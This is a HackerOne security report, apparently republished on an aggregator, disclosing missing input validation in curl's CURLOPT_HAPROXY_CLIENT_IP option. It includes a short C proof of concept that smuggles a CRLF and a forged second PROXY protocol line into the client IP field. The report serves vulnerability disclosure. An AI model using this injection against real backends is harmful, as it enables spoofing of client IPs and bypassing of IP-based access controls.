HACKERONE

curl: CURLOPT_HAPROXY_CLIENT_IP lacks input validation, enabling HAProxy PROXY protocol injection_H1:3823932

Description

Summary

The CURLOPT_HAPROXY_CLIENT_IP option accepts an arbitrary string without validating that it is a valid IP address, and without stripping special characters such as \r\n (CRLF) or
spaces. Because this value is embedded directly into the HAProxy PROXY protocol v1 header line, an attacker who can influence the value passed to this option can inject arbitrary
content into the protocol stream.

Unlike the documented CRLF injection risk for HTTP headers (noted in libcurl-security.md), this injection vector is not documented and not warned about, despite following the same
pattern.

---
Affected Versions

curl / libcurl ≤ 8.21.0 (current master, commit 4ce309d968)

---
Root Cause

File: lib/cf-haproxy.c, lines 84–97

if(data->set.str[STRING_HAPROXY_CLIENT_IP]) {
client_source_ip = data->set.str[STRING_HAPROXY_CLIENT_IP];
client_dest_ip = client_source_ip; /* same value for both src and dst */
is_ipv6 = !Curl_is_ipv4addr(client_source_ip);
}

result = curlx_dyn_addf(&ctx->data_out, "PROXY %s %s %s %d %d\r\n",
is_ipv6 ? "TCP6" : "TCP4",
client_source_ip, /* ← unsanitized user value */
client_dest_ip, /* ← same unsanitized value */
ipquad.local_port,
ipquad.remote_port);

File: lib/setopt.c, lines 1755–1763 — only length check, no format validation:

case CURLOPT_HAPROXY_CLIENT_IP:
result = Curl_setstropt(&s->str[STRING_HAPROXY_CLIENT_IP], ptr);
s->haproxyprotocol = !!s->str[STRING_HAPROXY_CLIENT_IP];
break;

Curl_setstropt() only enforces CURL_MAX_INPUT_LENGTH — it does not validate IP address format, reject CRLF, or reject space characters.

---
Proof of Concept

#include <curl/curl.h>

int main(void) {
CURL *curl = curl_easy_init();

/* Malicious value: CRLF injection into PROXY protocol */
const char *injected_ip =
"1.2.3.4\r\nPROXY TCP4 127.0.0.1 10.0.0.1 1234 80";

curl_easy_setopt(curl, CURLOPT_URL, "http://backend-server/");
curl_easy_setopt(curl, CURLOPT_HAPROXY_CLIENT_IP, injected_ip);

curl_easy_perform(curl);
curl_easy_cleanup(curl);
return 0;
}

## Impact

## Summary:
An attacker who can control the value passed to CURLOPT_HAPROXY_CLIENT_IP — directly or indirectly through an application that forwards user-supplied input without sanitization —
can:

1. Spoof an arbitrary source IP address in the PROXY protocol header, causing the backend server to log, trust, or act upon a fabricated client IP rather than the real one.
2. Bypass IP-based access controls on the backend by injecting a trusted internal address (e.g. 127.0.0.1 or a private subnet IP) as the reported client origin.
3. Inject a complete second PROXY protocol line via CRLF, potentially confusing HAProxy or the backend application about the true connection origin.

The practical exploitability depends on whether the application passes externally controlled data (such as an X-Forwarded-For or X-Real-IP header value) directly into
CURLOPT_HAPROXY_CLIENT_IP without sanitization. This is a realistic pattern in reverse-proxy and microservice architectures where the originating client IP is propagated across
service boundaries.
Visit Original Source

Basic Information

ID H1:3823932
Published Jun 25, 2026 at 07:05
Modified Jun 26, 2026 at 14:34

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.